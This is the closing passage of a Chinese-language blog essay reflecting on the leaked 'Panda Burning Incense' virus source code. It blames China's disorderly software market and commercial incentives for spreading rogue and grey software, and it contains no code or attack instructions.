本人從網(wǎng)上也看到此“熊貓燒香”病毒作者留言的病毒制作“動機”,但從該病毒其它版本頻繁從后臺啟動國外指定網(wǎng)頁的行為來看,確有其明確的商業(yè)動機。中國軟件市場之混亂,猶如計算機病毒之“毒瘤”,改革開放之“腐敗”毒瘤,不治將恐甚。因此,從最近“熊貓燒香”新版的“金豬鬧春”發(fā)展勢頭來看,縱使該作者在論壇上透露將終止繼續(xù)研發(fā)新版本,但國軟市場之混亂加上有其巨大的商業(yè)利益驅(qū)動,他豈能就此罷手?
? ? 如今,網(wǎng)上大批特批“流氓軟件”,“灰色軟件”。請問:這樣的日子何時是個盡頭?恕在下直言,如果不從根本上整頓國軟市場之混亂局面,類似這種在網(wǎng)上瘋傳的“熊貓燒香”之“源碼”必使“灰色軟件”愈灰,“流氓軟件”之愈流氓!
四、 小結(jié)
? ? 如今網(wǎng)上流傳的“熊貓燒香源碼”,不由得不引發(fā)人們無盡的思考。我想,聯(lián)系中國特色的軟件市場來認(rèn)識這樣的問題似乎更為合適。“熊貓”、“燒香”本來各自是美好事物和良好祝福的象征,現(xiàn)在卻不由得不令人心焦。權(quán)當(dāng)本文系在下之胡言亂語。最后,謹(jǐn)祝各位:金豬之年財運望,發(fā)良財,發(fā)洋財,而不是發(fā)橫財!
總結(jié)
以上是生活随笔為你收集整理的“熊猫烧香”源码启示录的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 烧录superboot.bin 到 友善
- 下一篇: c++,c.c#区别